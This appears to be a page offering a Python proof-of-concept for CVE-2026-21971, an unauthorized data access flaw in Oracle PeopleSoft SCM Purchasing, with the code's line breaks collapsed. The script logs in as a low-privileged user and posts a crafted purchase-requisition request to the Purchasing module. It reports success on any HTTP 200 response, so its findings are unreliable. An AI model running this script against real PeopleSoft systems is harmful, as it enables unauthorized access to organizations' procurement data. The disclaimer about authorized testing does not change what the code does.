CVE-2026-21971 Oracle PeopleSoft SCM Purchasing 未授权数据访问漏洞

# CVE-2026-21971 PoC - Oracle PeopleSoft SCM Purchasing Unauthorized Data Access # This PoC demonstrates the vulnerability pattern (for authorized testing only) import requests import sys # Configuration TARGET_URL = "https://vulnerable-server/psp/ps/" CVE_ID = "CVE-2026-21971" def test_vulnerability(target_url, username, password): """ Test for CVE-2026-21971: Unauthorized data access in PeopleSoft Purchasing This script demonstrates the vulnerability pattern for authorized security testing. """ headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Content-Type": "application/x-www-form-urlencoded" } # Step 1: Authentication (using low-privileged account) login_data = { "userid": username, "pwd": password, ".ptlang": "ENG", ".ptinstalledlang": "ENG" } session = requests.Session() try: # Attempt login login_response = session.post(target_url + "EMPLOYEE/HRMS/c/PTPP_PORTAL_ROOT_OBJECT", data=login_data, headers=headers, verify=False, timeout=30) if login_response.status_code == 200: # Step 2: Access Purchasing module with low privileges purchasing_url = target_url + "EMPLOYEE/HRMS/c/PSC_PURCHASING" purchasing_response = session.get(purchasing_url, headers=headers, timeout=30) if purchasing_response.status_code == 200: # Step 3: Attempt unauthorized data access # This demonstrates the vulnerability pattern exploit_data = { "ICAction": "PSC_PURCHASE_REQ", "PTADD": "1", "BUSINESS_UNIT": "US001" } exploit_response = session.post(purchasing_url, data=exploit_data, headers=headers, timeout=30) # Check if unauthorized access was successful if exploit_response.status_code == 200: print(f"[!] {CVE_ID} Vulnerability may be present - unauthorized access detected") return True print(f"[*] {CVE_ID} Testing completed") return False except requests.RequestException as e: print(f"[*] Error during testing: {e}") return False if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} https://peoplesoft.example.com/ps/ testuser testpass") sys.exit(1) test_vulnerability(sys.argv[1], sys.argv[2], sys.argv[3])